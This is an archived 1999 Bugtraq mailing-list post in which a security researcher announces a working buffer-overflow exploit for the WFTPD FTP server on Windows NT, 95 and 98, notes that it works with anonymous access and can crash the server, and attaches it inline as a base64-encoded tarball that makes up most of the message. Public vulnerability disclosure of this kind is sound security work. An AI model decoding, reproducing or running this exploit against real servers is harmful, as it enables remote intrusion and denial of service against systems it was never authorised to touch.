Re: WFTPD v2.40 FTPServer remotely exploitable buffer overflow

From: Alberto Soliņo (core.lists.bugtraq@CORE-SDI.COM)
Date: Thu Nov 04 1999 - 11:59:26 PST

  • Next message: Aleph One: "Re-release of Microsoft Security Bulletin MS99-042"

    This is a multi-part message in MIME format.
    --------------0AF2746F5DAC68B172E36653
    Content-Type: text/plain; charset=iso-8859-1
    Content-Transfer-Encoding: quoted-printable
    X-MIME-Autoconverted: from 8bit to quoted-printable by core-sdi.com id QAA20747
    
    Hi:
    
    This message attaches a workeable WFTPD 2.34 exploit for WIN NT 4.0
    [SP3-4], Windows 95, Windows 98.
    
    In order to make it work, the attacker must have access (eg: the exploit
    works with anonymous access but it's easy to change, look at the source
    code).
    
    An interesting point is that if you don't have an account on the server
    and also tries to run the exploit the server stops answering requests
    and
    makes a GPF when the administrator of the server exits WFTPD.
    
    
    --=20
    =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D[ CORE Seguridad de=
     la Informacion S.A. ]=3D=3D=3D=3D=3D=3D=3D=3D=3D
    Alberto Soli=F1o                        email   : asolino@core-sdi.com
    Pte. Juan D. Peron 315 Piso 4 UF 17             www.core-sdi.com
    1038 Capital Federal
    Buenos Aires, Argentina.              Tel/Fax : +(54.11)43.31.54.02
    Casilla de Correos 877 (1000) Correo Central
    =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
    =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
    =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
    --
    "Simplicity is the highest goal, achievable when you have overcome=20
    all difficulties." F. Chopin
    --------------0AF2746F5DAC68B172E36653
    Content-Type: application/x-compressed;
     name="wftpdexp.tgz"
    Content-Disposition: inline;
     filename="wftpdexp.tgz"
    Content-Transfer-Encoding: base64
    
    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
    bdu2bdu2bdu2bdu2bdu2bdufrv0HjJoinwBQAAA=
    --------------0AF2746F5DAC68B172E36653--
    
    
    --- For a personal reply use asolino@core-sdi.com
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:09:43 PDT